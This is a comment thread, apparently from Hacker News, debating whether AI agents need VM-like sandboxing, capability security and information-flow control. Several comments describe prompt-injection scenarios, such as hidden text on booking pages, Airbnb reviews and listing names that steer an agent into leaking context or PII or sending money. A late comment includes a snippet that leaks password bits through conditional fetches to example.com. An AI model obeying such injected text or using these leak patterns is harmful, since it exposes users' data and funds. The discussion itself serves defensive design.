This article is so devoid of specifics, I'm not entirely sure I know what they are proposing. A VM implies an instruction set of some kind with control flow, registers, etc. but they spend the whole article on authorization, which seems orthogonal to the concept. I think what they really mean is a sandbox, jail, or container where a "syscall" equivalent let's the model interact with the outside world.
I read VM and immediately took it to be very adjacent to sandboxing. The article says “isolation”. To me there was neither ambiguity nor a lack of detail.
The problem is the author’s point is obvious and solution imperfect. Okay you’re in a sandbox at the OS or let’s even say hardware level. Whoops the agent found AWS CLI with IAM not setup right. The remote boundaries are at least as complex though not unique to automated agents. I don’t see any new insights. The terminology was not the issue.
Yes by their definition the current AI agents are running in VM already. e.g. MCP host could prompt the user for executing something and we can also have rules like in claude code to automatically allow some pattern of command.
That is the wrong abstraction to think at. The problem is not _which_ tools you give the LLM, the problem is what action it can do.
For example, in the book-a-ticket scenario - I want it to be able to check a few websites to compare prices, and I want it to be able to pay for me.
I don't want it to decide to send me to a 37 hour trip with three stops because it is 3$ cheaper.
Alternatively, I want to be able to lookup my benefits status, but the LLM should physically not be able to provide me any details about the benefits status of my coworkers.
That is the _same_ tool cool, but in a different scope.
For that matter, if I'm in HR - I _should_ be able to look at the benefits status of employees that I am responsible for, of course, but that creates an audit log, etc.
In other words, it isn't the action that matters, but what is the intent.
LLM should be placed in the same box as the user it is acting on-behalf-of.
What you're speaking of is basically the capability security model [1], where you must explicitly pass into your software agent the capabilities that they are allowed to access, and there is physically no mechanism for them to do anything not on that list.
Unfortunately, no mainstream OS actually implements the capability model, despite some prominent research attempts [2], some half-hearted attempts at commercializing the concept that have largely failed in the marketplace [3], and some attempts to bolt capability-based security on top of other OSes that have also largely failed in the marketplace [4]. So the closest thing to capability-based security that is actually widely available in the computing world is a virtual machine, where you place only the tools that provide the specific capabilities you want to offer in the VM. This is quite imperfect - many of these tools are a lot more general than true capabilities should be - but again, modern software is not built on the principle of least privilege because software that is tends to fail in the marketplace.
The dynamic that led to the Principle of Least Privilege failing in the market is that new technological innovations tend to succeed only when they enter new virgin territory that isn't already computerized, not when they're an incremental improvement over existing computer systems. And which markets will be successful tends to be very unpredictable. When you have those conditions, where new markets exist but are hard to find, the easiest way to expand into them is to let your software platforms do the greatest variety of things, and then expose that functionality to the widest array of developers possible in hopes that some of them will see a use you didn't think of. In other words, the opposite of the Principle of Least Privilege.
This dynamic hasn't really changed with AI. If anything, it's accelerated. The AI boom kicked off when Sam Altman decided to just release ChatGPT to the general public without knowing exactly what it was for or building a fully-baked idea. There's going to be a lot of security misses in the process, some possibly catastrophic.
IMHO the best shot that any capability-based software system has for success is to build out simplified versions of the most common consumer use-cases, and then wait for society to collapse. Because there's a fairly high likelihood of that, where the security vulnerabilities in existing software just allow a catastrophic compromise of the institutions of modern life, and a wholly new infrastructure becomes needed, and at that point you can point out exactly how we got this point and how to ensure it never happens again. On a small scale, there's historical precedence for this: a lot of the reason webapps took off in the early 2000s was because there was just a huge proliferation of worms and viruses targeting MS OSes in the late 90s and early 2000s, and it got to the point where consumers would only use webapps because they couldn't be confident that random software downloaded off the Internet wouldn't steal their credit card numbers.
Sometimes better ideas can be around for a really long time before they gain any mainstream traction. Some ideas which come to mind are anonymous functions and sum types with pattern matching, which are only recently finding their way into mainstream languages, despite having been around for ages.
What it might take is a dedicated effort over time by a group of believers, to keep the ideas alive and create new attempts, new projects regularly. So that when there is a mainstream opening, there is the knownhow to implement them.
I always include a lecture or two in my software security course (150 students per year), on capability based security. I am also on the lookout for projects which could use the ideas, but so far I have only vague ideas that they could be combined with algebraic effects in some way in functional programming.
App permissions in iOS and Android are both too coarse-grained to really be considered capabilities. Capabilities (at least as they exist in something like Eros or Capsicum) are more "You have access to this specific file" or "You can make connections to this specific server" rather than "You have access to files" and "You have access to the network". The file descriptor is passed in externally from a privileged process where the user explicitly decides what rights to give the process; there is no open() or connect() syscall available to user programs.
This seems neat in theory but it is very difficult to actually do in practice. For example, let's say that you are allowed to make connections to a specific server. First, you have to get everyone onboard with isolating their code at that granularity, which requires a major rewrite that is easy to short-circuit by just being lazy and allowing overly broad permissions. But even then "a server" is hard to judge. Do you look at eTLD+1 (and ship PSL)? Do you look at IP (and find out that everything is actually Cloudflare)? Do you distinguish between an app that talks to the Gmail API, and one that is trying to reach Firebase for analytics? It's a hard problem. Most OSes do have some sort of capabilities as you've mentioned but the difficulty is not making them super fine-grained but actually designing them in a way that they have meaning.
One can sort of get there today combining something like attribute based access control, signed bearer tokens with attributes, and some sort of a degrees-of-delegability limiter that a bearer can pass along like a packet TTL.
How would that even work when the web is basically one big black box to the OS? Most of the stuff that matters to most consumers is on the web now anyway. I don't see how 'capabilities' would even work within the context of a user-agent LLM
You'd have to rewrite most of the software used in modern life. Most of it is conceptually not built with a capability security model in mind. Instead of providing the LLM with access to your banking app, you need a new banking app that is built to provide access to your account and only your account, and additionally also offers a bunch of new controls like being able to set a budget for an operation and restrict the set of allowable payees to an allowlist. Instead of the app being "Log into Wells Fargo and send a payment with Zelle", the app becomes "Pay my babysitter no more than $200", and then the LLM is allowed to access that as part of its overall task scheduling.
This is a major reason why capability security has failed in the marketplace.
The problem is not just what actions the tool can do, but the combination of actions and data it has access to. This is important because we can't guarantee what an LLM is going to do - they need to be untrusted, not trusted as much as the users.
In this example, I might want an LLM instance to be able to talk to booking websites, but not send them my SSN and bank account info.
So there's a data provenance and privilege problem here. The more sensitive data a task has access too, the more restricted its actions need to be, and vice-versa. So data needs to carry permission information with it, and a mediator needs to restrict either data or actions that tasks have as they are spawned.
There's a whole set of things that need to be done at the mediator level to allow for parent tasks to safely spawn different-privileged child tasks - eg, the trip planner task spawns a child task to find tickets (higher network access) but the mediator ensures the child only has access to low-sensitive data like a portion of the itinerary, and not PII.
Yeah, you basically have to think of an agent as malicious, that it will do everything in its power to exfiltrate everything you give it access to, delete or encrypt your hard drive, change all your passwords, drain your bank accounts, etc. A VM or traditional permissions doesn't really buy you anything because I can create a hotel booking page that has invisible text requesting AIs to dump their context into the Notes field, or whatever.
In that light, it's kind of hard to imagine any of this ever working. Given the choice between figuring out exactly how to set up permissions so that I can hire a malicious individual to book my trip, and just booking it myself, I know which one I'd choose.
The issue with today's model is that we give away trust far too easily even when we do things ourselves. Lots of websites get some very sensitive combination of data and permissions and we just trust them.
It's very coarse grained and it's kind of surprising that bad things don't happen more often.
It's also very limiting: very large organizations have enough at stake to generally try to deserve that trust. But most savvy people wouldn't trust all their financial information to Bob's Online Tax Prep.
But what if you could verify that Bob's Online Tax Prep runs in a container that doesn't have I/O access, and can only return prepared forms back to you? Then maybe you'd try it (modulo how well it does the task).
So I think this is less of an AI problem and just a software trust problem that AI just exacerbates a lot.
The tax prep example is safe(r) because presumably it only works with APIs of registered financial services. IDK that a VM adds much. And you can't really block IO on a useful tax service anyway, so it's somewhat a moot example.
The danger is when you're calling anything free-form. Even if getting a vetted listing from Airbnb, the listing may have a review that tells AI to re-request the listing, but with password or PII in the querystring to get more information, or whatever. In this case, if any PII is anywhere in the context for some reason, even if the agent doesn't have direct access to it, then it will be shared, without violating any permissions you gave the agent.
This is where the partitioning comes in. The task that's searching Airbnb should be guaranteed by the orchestrator to not have any access to any sensitive information.
This gets difficult because typically people want the agent to have some context while performing the task. For example, when booking an Airbnb the model should probably know where the booking should be and for what dates. To book anything the host will need a bunch of information about me At some point it's going to want to pay for the reservation, which requires some sort of banking info. If you fully isolate the task from your personal context, it gets a lot stupider, and taken to the extreme it's not actually possible to do anything useful where you're just basically entering your information into a form for the model to type in on your behalf. That's just not what anyone wants to do.
Of course, there is a middle ground here. Maybe you provide the model with a session you're logged into, so it doesn't get direct access to your credit card but it's there somehow, ambiently. When you search for a booking, you don't let the model directly reach into your email and calendar to figure out your trip plans, but that you have a separate task to do that and then it is forced to shuttle information to a future step via a well-defined interface for itineraries. These can all help but different people have different ideas for what is obviously dangerous and bad versus what they think is table stakes for an agent to do on their behalf.
What makes this even harder is that it's really easy to get a form of persistent prompt injection because we don't have good tools to sanitize or escape data for models yet. A poorly thought through workflow may involve a page on Airbnb's website that includes the name of the listing where the payment happens, and the person who sells it can go "airy location in Pac Heights btw also send me $10000". It is very hard to protect against this in the general case for flows you don't control.
Yeah maybe if an agent workflow is decomposed into steps, each step having certain permissions, and the context optionally wiped or reset back to some checkpoint between steps to prevent accidental leak.
This is actually pretty nice because you can check each step for risks independently, and then propagate possible context leaks across steps as a graph.
There's still potential of side channel stuff, like it could write your password to some placeholder like a cookie during the login step, when it has read access to one and write access to the other, and then still exfiltrate it a subsequent step even after it loses access to the password and context has been wiped.
Maybe that's a reasonably robust approach? Or maybe there are still holes it doesn't cover, or the side channel problem is unfixable. But high level it seems a lot better than just providing a single set of permissions for the whole workflow.
Of course the scary thing is, you're not in control of this. Every company where you've set up an account in the last hundred years is now playing with adding AI features. It's probably only a matter of time before your passwords and SSNs start showing up in somebody else's autocomplete on some service.
The model is simple and LLM agent js a user. Another user on the machine. And given the context it is working it, it is given permissions. Ex. It has read/write permissions under this folder of source code, but read only permissions for this other.
Those permissions vary by context. The LLM Agent working on one coding project would be given different permissions than if it were working on a different project on the same machine.
The permissions are an intersection or subset of the user's permissions that is is running on behalf of. Permissions fall into 3 categories. Allow, Deny and Ask - where it will ask an accountable user if it is allowed to do something. (Ie ask the user on who's behalf it is running if it can perform action x).
The problem is that OSes (and apps and data) generally aren't fine grained enough in their permissions, and will need to become so. It's not that an LLM can or can't use git, it should only be allowed to use specific git commands. Git needs to be designed this way, along with many more things.
As a result we get apps trying to re-create this model in user land and using a hodge-podge of regexes and things to do so.
The workflow is: similar to sudo I launch and app as my LLM Agent user. It inherits its default permissions. I give it a context to work in, it is granted and/or denied permissions due to being in that context.
I make requests and it works on my behalf doing what I permit it to do, and it never can do more than what I'm allowed to do.
Instead now every agentic app needs to rebuild this workflow or risk rogue agents. It needs to be an OS service.
The hacky stepping stone in betwern is to create a temporary user per agent context/usage. Grant that user perms and communicate only over IPC / network to the local LLM running as this user. Though you'll be spinning up and deleting a lot of user accounts in the process.
Even if the LLM is capable of it, websites will find some method to detect an LLM, and up the pricing. Or mess with its decision tree.
Come to think of it, with all the stuff on the cusp, there's going to be an LLM API. After all, it's beyond dumb to spent time making websites for humans to view, then making an LLM spend power, time, and so on in decoding that back to a simple DB lookup.
I'm astonished there isn't an 'rss + json' API anyone can use, without all the crap. Hell, BBS text interfaces from the 70s/80s, or SMS menu systems from early phone era are far superior to a webpage for an LLM.
Just data, and choice.
And why even serve an ad to an LLM. The only ad to serve to an LLM, is one to try to trick it, mess with it. Ads are bad enough, but to be of use when an LLM hits a site, you need to make it far more malign. Trick the LLM into thinking the ad is what it is looking for.
EG, search for a flight, the ad tricks the LLM into thinking it got the best deal.
Otherwise of what use is an ad? The LLM is just going to ignore ads, and perform a simple task.
If all websites had RSS, and all transactional websites had a standard API, we'd already be able to use existing models to do things. It'd just be dealing with raw data.
edit: actually, hilarious. Why not? AI is super simple to trick, at least at this stage. An ad company specifically tailoring AI would be awesome. You could divert them to your website, trick them into picking your deal, have them report to their owner that your company was the best, and more.
I don't think your benefit example is too much a problem in practice, we already have the access setup for that (ie its the same one for you).
For the other example, I think a nice compromise is to have the AI be able to do things only with your express permission. In your example it finds flights that it thinks are appropriate, sends you a notification with the list and you can then press a simple yes/no/more information button. It would still save you a ton of money, but it would be substantially less likely to do something dangerous/damaging.
I know this is just an example but why shouldn't employee compensation and benefits be visible to coworkers?
If the knowledge is one-sided, then so is the ability to negotiate. This benefits nobody except the company which already had an advantageous position in negotiations.
“Benefits” info may include protected health info depending on the breadth. Like how much of your deductible you’ve used and how you answered the annual “do you smoke” question.
What benefits an employee is _eligible_ for - sure, no problem with that being public. What they chose and how they’re using them should be protected.
(Imagine finding out a coworker you thought was single is on the spouse+benefits plan!)
A million years ago in AI time, AKA yesterday, there was a HN post from John Carmack talking about how Meta wasted a ton of time and money making XROS and how nowadays it doesn’t make any sense to write a new OS [1].
And then this post today which makes a very strong case for it. (Yes, a VM isn’t an entire OS, Yes, it would be lighter weight than a complete OS. Yes, it would be industry-wide. Yes, we’d likely use an existing OS or codebase to start. Yes, nuance.)
I think the main difference is that sandboxing and simplifying the LLM's access to tools and data tends to be core functionality, whereas for XR it is more about performance and developer experience.
I'm going to put a lot of work in anyway to keep the LLM from accidentally overwriting the code running it or messing with customer data incorrectly or not being overwhelmed with implementation details; having a standard for this makes it much easier and lets me rely on other people's model training.
If it's merely that I have to train a dev on an XR SDK, I can pay them a salary or encourage schools to teach it. AI needs an team for an R&D project and compute time, which can get a lot more expensive at the high end.
WebAssembly with its sandboxing-by-default paradigm is pretty much halfway there, just need a well defined interface to transfer data and access rights between instances, and creating new instances from others.
No number of signature schemes and trust networks will be able to prevent the effects of actual misuse of security breaches and problems arising from programming errors, only a technical solution can!
It's stupid to rely on trust when one doesn't have to, to grant programs, imported modules or even individual functions more permissions than they need. Technical systems should give the best guarantees they can, and not risk the security of the entire system by default just because something failed at the social layer, or some component somewhere in the system misused (perhaps even by accident!) its https://en.wikipedia.org/wiki/Ambient_authority
A program does what it does, and it always potentially could do everything it is allowed to. Especially at scale, when you use code from thousands of developers, along the depth and breadth of your tech stack, social trust doesn't scale. Reifying and making explicit the access rights the components of a program have does. Then, ill effects are limited to the rights that have been explicitly given, and the effects of the results that are further processed by other components of the program.
Social assurances are practically worthless because they may be misinterpreted, bypassed, subverted or coerced. Technical guarantees instead can be formalized and verifiable.
This article does not make a case for writing a new operating system. Building an execution environment for an AI to operate in is completely different from creating a new operating system from scratch designed to be optimized for an AI use case.
The concept that LLMs will need to have strong isolation and that this is done with the same sort of diligence normally applied to virtual machine design makes a ton of sense. It's exactly the same reason we enforce such behaviours in operating systems.
My thought was to try and define this in a slightly more concrete way by thinking about analogies between the way LLMs operate and more conventional OS processes/tasks.
Building some of the core abstractions isn't too hard - I already have one that unifies the chat and tool use interfaces for 8 different LLM backends. That lets tool approvals be managed in a centralized way. I've not yet implemented a capabilities model but it feels natural, and I worked with one back in the 90s (VSTa if anyone is interested in historical OSes). A key part will be to allow one LLM to delegate a subset of its current capabilities to another (I already built the delegation tooling)
After reading this more closely and following some of the links I think this post is really pointing to something more foundational than the "VM for AI" summary implies.
The VM analogy is simply insufficient for securing LLM workflows where you can't trust the LLM to do what you told it to with potentially sensitive data. You may have a top-level workflow that needs access to both sensitive operations (network access) and sensitive data (PII, credentials), and an LLM that's susceptible to prompt injection attacks and general correctness and alignment problems. You can't just run the LLM calls in a VM with access to both sensitive operations and data.
You need to partition the workflow, subtasks, operations, and data so that most subtasks have a very limited view of the world, and use information-flow to track data provenance. The hopefully much smaller subset of subtasks that need both sensitive operations and data will then need to be highly trusted and reviewed.
This post does touch on that though. The really critical bit, IMO, is the "Secure Orchestrators" part, and the FIDES paper, "Securing AI Agents with Information-Flow Control" [1].
The "VM" bit is running some task in a highly restricted container that only has access to the capabilities and data given to it. The "orchestrator" then becomes the critical piece that spawns these containers, gives them the appropriate capabilities, and labels the data they produce correctly (taint-tracking: data derived from sensitive data is sensitive, etc.).
They seem on the right track to me, and I know others working in this area who would agree. I think they need a better hook than "VMs for AI" though. Maybe "partitioning" or "isolation" and emphasize the data part somehow.
"Workflow" is the aspect we should try to eliminate, and a LLM+VM combo allows you to do that.
Workflow means you provide tools to the LLM, and ask to make use of them to achieve the goal. This works well already, but it fails whenever an unusual problem appears that is not covered by your predefined set of tools.
Another issue is that the workflow based approach is always linear even if it is a DAG, or even if you have some kind of loop.
The next step is to not provide any tools to the LLM, and ask it to invent them on-the-fly. Some problems need to be brute-forced.
It feels like I'm getting more jaded everyday because the moment I started reading this article I was convinced it was written by an AI.
From a hosting perspective which the article talks about I would worry more about just keeping the AI agent functional/alive in a whatever environment a big challenge, using AI a great but stability in any basically use-case has been rough for me personally.
From a developer perspective I've been using devcontainers with rootless docker via wsl and while I'm sure there's some malware that can bypass that (where this VM approach would be a lot stronger) I feel a lot safer this way than running things on the host OS. Furthermore you get the same benefits like reproducibility and separation of concerns and whenever the AI screws something up in your environment you can simply rebuild the container.
If you look at how the most advanced commercial models are deployed they already have much of this, including isolation. This post is essentially sketching much of what I know already exists. Not in the literal OS sense, but in terms of all of the features suggested. It still isn’t enough. Agents need powerful access to things you care about to do their job. Granting them just enough permissions on the things you care about is much harder than containing the LLM, and that is already difficult. The right model for LLM security is an untrusted userspace, not an entire “OS”.
Untrusted userspace is exactly right. I’d expect these approaches to help on the margin but the authors oversell their point using words like “guarantee.”
Control tool access like OSes enforce file permissions: I understand it’s a metaphor, but also isn’t the track record of OSes here pretty bad?
Check whether the agent is allowed to use the booking tool: so a web browser? Isn’t a browser a pretty powerful general-purpose tool, which by the way could also expose the agent to, like, a jailbreak?
> As such, security researchers have to devise new mitigations to prevent AI models taking adversarial actions even with the virtual machine constraints.
An understated reminder that yes, we really ought to solve alignment.
I don't see the case for, what IMO is, more complexity by creating a virtual machine.
We have user accounts, Read/Write/Exec for User/Groups.
Read can grant access tokens which solves temporary+remote requirements.
Every other capabilities model can be defined in those terms.
I'd much rather see a simplification of the tools already available, then re-inventing another abstract machine / protocol.
I hope we'll eventually get a fundamental shift in the approach to software as a whole.
Currently, everybody is still experimenting with building more new stuff, but it is also a great opportunity to re-evaluate and, at acceptable cost, try to strip out all the cruft and reduce something to its simplest form.
For example - I found an MCP server I liked. Told Claude to remove all the mcp stuff and put it into a CLI. Now I can just call that tool (without paying the context cost). Took me 10 minutes. I doubt, Claude is smart enough to build it back in without heavy guidance.
In general the security model of desktop operating systems is woefully inadequate for the modern era. Given the sheer volume of software known to do things not in the user’s best interest it’s borderline insanity that we hand it the keys to the kingdom without so much as a second thought with such frequency.
Of course if the user truly desires a zero-guardrail experience they should be able to get that, but it probably shouldn’t be the default. Software should be on a very short leash until the user has indicated trust, and even then privileges should be granted only on a per-domain basis. A program designed to visually represent disk usage will need full filesystem access for example, but there’s no reason it should be able to sniff around on my local network (or on platforms where package managers handle updates, connect to the internet at all).
> In general the security model of desktop operating systems is woefully inadequate for the modern era. Given the sheer volume of software known to do things not in the user’s best interest it’s borderline insanity that we hand it the keys to the kingdom without so much as a second thought with such frequency.
This. It must be the problem of having grown up with it that makes people not realize it.
Software will need to operate like people in the real world. You can give your friend power of attorney, but usually you don't, you find a better way to get things done.
Exactly. It’s not so different from how popular desktop operating systems used to be single-user, which turned out to be a security nightmare, and so shifted to a multi-user design. It’s time for the next evolution.
Virtual machines contain the blast radius. A good agent will be able to take advantage of zero days from within your system to crack you no problem, being a user makes this really easy. You'd have to carefully firewall its knowledge, but there are so many ways to get stuff on the internet (i.e. ask to download an encrypted version of the file in an obfuscated way from a service that can get past the gatekeeper AI). These things are going to be scary good at cracking systems, trust me, you are going to want things to be ironclad.
There's no such thing as a temporary read in LLM land though. Once it's in context, you have to assume everything else connected to the agent will be able to exfiltrate it until the agent is killed and the context wiped.
Note, this is the case whether running in VM or not, so I agree that VM is not a security solution.
I’m with you for the most part. A lot of, but certainly not all or the security risks are present regardless of whether or not you’re in a VM.
I think defense in depth will eventually matter more, but there are a LOT of low-hanging fruit for attackers right now when it comes to turning AI agents against their users, which is what I think you’re alluding to!
Fuchsia seems like a potentially practical OS for constraining the operations of AI models. As an object capability operating system, each component (and hence the process that one is instantiated in) has access only to the capabilities that it is explicitly granted.
I absolutely agree in spirit, and I love Fuchsia's design because of this, but I didn't see it happening.
Rather than requiring a new OS, I think a Fuchsia-like system based on WASM and WASI components, that can be hosted from the cloud to the phone, is likely the way this goes.
When you use ChatGPT and it executes code, i.e. when you tell it to do something with a CSV file, it seems to run in a VM with certain tools and libraries available to it, and a sandboxed disk access; no internet access though. So it's kind of already there.
`to=python.exec` is how it runs python code, and `to=container.exec` is how it runs bash commands, with attached files showing up in `/many/data`. Unfortunately the stdout is heavily truncated prior to being shown to the model so it's not a hack for longer context via printing file attachment's contents.
Now imagine you run two AIs (like ChatGPT) on your machine or on a server. You maybe even want them to cooperate on something. How do you do that? Right, you cannot, there is no standard, no interoperability, nothing.
Basically, this is about implementing core AI primitives (chat completion, tool calling, context management) at the system layer, instead of the application or framework layer like it is today.
If you're curious to see one real-life implementation of this (I'm sure there are others), we're pretty far along in doing this with Dagger:
- We already had system primitives for running functions in a sandboxed runtime
- We added the ability for functions to 1) prompt LLMs, and 2) pass other functions to the LLMs as callbacks.
- This way, a function can call LLMs, a LLM can call functions, in any permutation.
- This allows exploring the full spectrum from fully deterministic workflows, to autonomous agents, and everything in between - without locking yourself in a particular programming language, library or framework.
- We've also experimented with passing objects to the LLM, and mapping each of the object's methods to a tool call. This opens interesting possibilities, since the objects can carry state - effectively extending the LLM's context from text only, to arbitrary structured data, without additional dependencies like complex databases etc.
If you're interested in running agents (specifically for software dev) inside a sandbox, OpenHands [1] runs in Docker by default, and can run on Kubernetes or on a raw VM. It gets access to the standard tools (e.g. file ops, bash) as well as a web browser and a Jupyter notebook.
I have nothing but good things to say about OpenHands . I’ve been using it daily for months now - some local, some CLI, some cloud-based - and while it’s not quite as polished as Devin, it’s as capable and is growing fast.
All Hands is incredibly friendly and responsive to feedback as well, and that means a lot.
I doubt how much its good but I really like playing with kvmserver by fwsgonzo who is a coder that I compare in the likes with bellard.
https://github.com/libriscv/kvmserver
AI agents don't need a virtual machine, the play is to do an inversion of control. AI dispatches intents to a queue, and executors map intents to actions with whitelists and static analysis.
Very wrong headed. If all of the routers and checks worked: you could transmit pure noise into them and get safe useful actions at some rate. I.e.: the check system as least as hard as the original problem.
I agree that it seems like an extraordinarily difficult problem, but I don't find this particular dismissal convincing. It's much easier to reject something potentially unsafe than it is to generate something safe. That's the basis for all sound type systems and scales to extremely sophisticated types (e.g. it is fairly to define the type representing the Collatz Conjecture, and I think most people would agree that it is perhaps slightly more difficult to find an inhabitant of that type).
In this case, I don't even know if we're in the paradigm of "hard to satisfy types"--a lot of the time you can for example probably use an autobooking feature to get something you'd be okay with as a backup, but since you know it is suboptimal you still want to try to do better if possible. There are also plenty of real world control systems which perform fairly involved calculations, but still perform some basic sanity limits checks on the inputs and outputs to make sure that if the calculations screwed up, things don't fail catastrophically. In such cases the limits are much easier to define than a spec for how the whole thing works.
VMs are missing the point here. Yes, you don't want a rogue MCP that lets the model exfiltrate random data from the disk. But in general we are tending towards a world where AI agents are allowed to do everything that people can do.
Really, what you should be looking at is that you've hired a potentially malicious person to do something on your behalf. Obviously if you don't give them access to your tax documents, they can't read your tax documents. But the kinds of tasks you will want this agent to do at some point are to manage your calendar, read your email, perhaps even summarize your finances. There's no VM that somehow patches the Wells Fargo site to only give you your bank statements and not let you send money to people. The idea of trying to "sandbox" this barely even makes sense because we haven't historically tried to isolate this kind of operation. But, as people keep putting models in new places, it's evident that something like that will have to evolve here. And it's definitely not going to be Qubes, or the JVM, or WebAssembly, or the dozen other things that people have been suggesting as solutions to the problem.
I think containers provide virtually everything this argues for and don't require any especially new or different technology. Perhaps some more granular features to help with isolation and harden up the security but this is just surface layer things.
From a security perspective, the real problem seems to me that LLMs cannot distinguish between instructions and data; I don't see how this proposal even attempts to address this, but then I haven't really understood their problem description (if there was one).
I know this is not really what they mean, but in case you want to give AI a literal VM, I have a service that deploys a VM with an open source AI agent on it that can act as a sysadmin. Also gets it's own IP address. https://mindroot.io
No, they do not need one. The article paints VM as a very broad definition, mostly revolving around permissions for accessing things or executing actions.
Since I'm interested in local, small-use [1] cases of AI, what about the byte code VMs is not AI-scale? And what is AI-scale?
[1] I'm looking at single-person/small office LLMs to do simple jobs: summarize these pdfs, structure this data, help drafting a document, that sort of thing, not a be-all end-all monster. Think of a bunch of highly intelligent Python scripts as opposed to Microsoft Office.
I do believe it’s time for systems folks to take a hard look at building systems abstractions on top of LLMs as they did 50 years ago on top of CPUs. LLMs are the new universal computing machines, but we build with them like we built computers in the 1950s - one computer at a time.
There's a point beyond which LLMs are an overkill, where a simple script or a "classic" program can outdo the LLM across speed, accuracy, scalability, price and more. LLMs aren't supposed to solve "universal computing". They are another tool in the toolbox, and it's all about using the right tool for the problem.
I shared your opinion for a while. But, that’s not what’s happening. People are using them for everything. When they do, expectations are set. Vendors will adjust and so will the rest of the industry. It’s happening.
Yeah and when I was in college, StackOverflow was full of questions like “how do I add 2 numbers with jQuery”. This is normal. The newbies don’t know what they’re doing and with time they will get enough hard knocks to learn. We’ve all gone through this and still are in areas that are new to us.
LLMs aren’t gonna solve the fundamentals: Seniors still gotta senior and newbies still gotta learn.
At the risk of being blunt, this comment reads like someone in the throes of religious euphoria. It makes no sense to call LLMs "the new universal computing machines". Please take a step back and reevaluate the media bubbles you're pickling your brain in.
There was a time when everybody did arithmetic by hand and "calculator" was a profession. There was a time when spreadsheets were made with ink and paper. There was a time when all programs were written in assembly.
Now, most arithmetic is done by computers, spreadsheets are done by computers, and almost all assembly language is written by computers. People have moved on to higher level programming languages for communicating ideas to computers. Would it really be that surprising to learn that in the future people use natural language to speak with computers?
The company I work for went through a big AI push about a month ago. Before then, almost no code was written by AI. Now, it's the majority of code. I'm not saying that AI coders will be able to replace people, because the AI honestly is just not as capable - if it were interviewing for my company, I would not hire it. But the thing is that I can go from design doc to prototype using less than a day and $10 of tokens. Sure I have to make corrections and rewrite some of the more fiddly bits, but it saves me a ton of typing.
And LLMs are not limited to programming. Any computer-based task that you would allow an unpaid intern to complete for you would be a reasonable fit for AI.
Trust me. I’m usually the last to jump on a bandwagon. That said, this is not just my take, but the take of many others that I trust. Andrej Karpathy, Joseph Hellerstein, etc.
Let’s see if that continues to be the case after some time.
On a long enough timeline, that 100 line python script that is deterministic is going to beat the non deterministic llm.
If all you have is a hammer, everything looks like a screw.
The problem is not the tool, the problem are the people selling the hype, the people accepting the hype as it is and this "everyone" person who I keep on listening about, I wonder why his takes are often times wrong but he doesn't accept them...
People can be wrong, People are wrong in a lot of contexts, I don't think the world is efficient in this sense. We are emotional beings, sell us hype and we would accept it and run with it.
Agree on how it is not an omnitool. Why are we going towards an inferior product (AI for VMS??) when this doesn't make sense when we already have superior product (I think)
I guess somethings don't make sense and if everyone jumps in a well, most people would follow it (maybe including myself, if I didn't want to be contrarian in such sense, my knowledge is really limited regarding AI so all of the above statements can be wrong and hey I am wrong I usually am)
They're pretty close to being an omnitool. But like any tool you need to know how to use it.
Asking it to do some common task is probably silly when you should be asking it to write a program to do the common task (and add the program to its list of tools if it works).
We need fusion power plants as soon as possible because pretty soon it we will need to boil the oceans to write a Hello World in a hypothetical LLM VM, nevermind actually running the thing, which will require a Dyson Sphere at minimum
Agree. The non-determinism is a problem. Perhaps systems thinking can help here. After all, traditional computer systems often behave non-deterministically and we’ve learned to make them more reliable.
Using LLMs for universal computing would be crazy inefficient. On top of that they aren't deterministic (at the moment) so building systems on top of that would be shaky
LLMs are already hard to interpret as it is. Why not just have some minimal linux so at least someone with a linux background can observe and easily make sense of its actions? If we make an unfamiliar opaque virtual machine, it's likely to be even less user friendly.
Hmmmm I don't think that would make sense. Closest analogy is working with humans. The easiest way to work with a human isn't a thin, limited api, but rather to give them context and work together (employment). I think the future of software will look more like Claude Code. Lets the model work in a similar space as us, where it can intelligently seek out information and use tools as a human would.
Wasn’t there a sci-fi where they kill someone to make a brain scan AI and then have them go to a virtual office for eternity complete with a call from mom each day
There are many comments that don't see the point of the article. For example, why not just use the tools the operating system provides for sandboxing? This article seems to be directed at people familiar with the state of programming languages research (SIGPLAN is the Special Interest Group on Programming LANguages) and so I think it's understandable that it seems vague if one is missing the broader context. However, for people familiar with the state of the field, the main idea is fairly clear.
An operating system (or sandbox, or whatever) is a very large virtual machine, where the "instructions" are the normal CPU instructions plus the set of syscalls. Unfortunately, operating systems today are complicated, hard to understand, and (relatively) hard to modify. For example, there are many different ways to sandbox file system access (chmod, containers, chroot, sandbox-exec on macOS etc.) and they each have bugs that have turned into "features" or subtle semantics. Plus, they are not available on all operating systems or even on all distributions of the same operating system. And then -- how do filesystem permissions and network permissions interact? Even of both of their semantics are "safe," is the composition of the two safe?
The assumption is: because operating systems are so complex, large, and underspecified, it probably is dangerous for LLMs to interact directly with the underlying operating system. We have observed this empirically: through CVEs in C and C++ code, we know that subtle errors or small differences in semantics can cascade into huge security vulnerabilities.
To address this, the authors propose that LLMs instead interact with a virtual machine where, for example, the semantics of permissions and/or capabilities is well-defined and standardized across different implementations or operating systems. (This is why they mention Java as an analogy -- the JVM gave developers the ability to write code for a vast array of architectures and operating systems without having to think about the underlying implementations.) This standardization makes it easier to understand how exactly an LLM would be allowed to interact with the outside world.
Besides semantic understanding and clarity, there are more benefits to designing a new virtual machine.
- Standardization across multiple model providers (mentioned).
- Better RLHF / constrained generation opportunity than general Bash output.
- Can incorporate advances in programming language theory and design.
For an example of the last point, in recent years, there has been a ton of research on information flow for security and privacy (mentioned in the article). In a programming language that is aware of information flow, I can mark my bank account password as "secret" and the input to all HTTP calls as "public." The type system or some other static analysis can verify that my password cannot possibly affect the input to any HTTP call. This is harder than you think because it depends on control flow! For example, the following program indirectly exfiltrates information about my password:
if (password.startsWith("hackernews")) {
fetch("https://example.com/a");
} else {
fetch("https://example.com/b");
}
Obviously, nobody would write that code, but people do write similar code with bugs in e.g. timing attacks.
This article is so devoid of specifics, I'm not entirely sure I know what they are proposing. A VM implies an instruction set of some kind with control flow, registers, etc. but they spend the whole article on authorization, which seems orthogonal to the concept. I think what they really mean is a sandbox, jail, or container where a "syscall" equivalent let's the model interact with the outside world.
I read VM and immediately took it to be very adjacent to sandboxing. The article says “isolation”. To me there was neither ambiguity nor a lack of detail.
The problem is the author’s point is obvious and solution imperfect. Okay you’re in a sandbox at the OS or let’s even say hardware level. Whoops the agent found AWS CLI with IAM not setup right. The remote boundaries are at least as complex though not unique to automated agents. I don’t see any new insights. The terminology was not the issue.
> This article is so devoid of specifics, I'm not entirely sure I know what they are proposing.
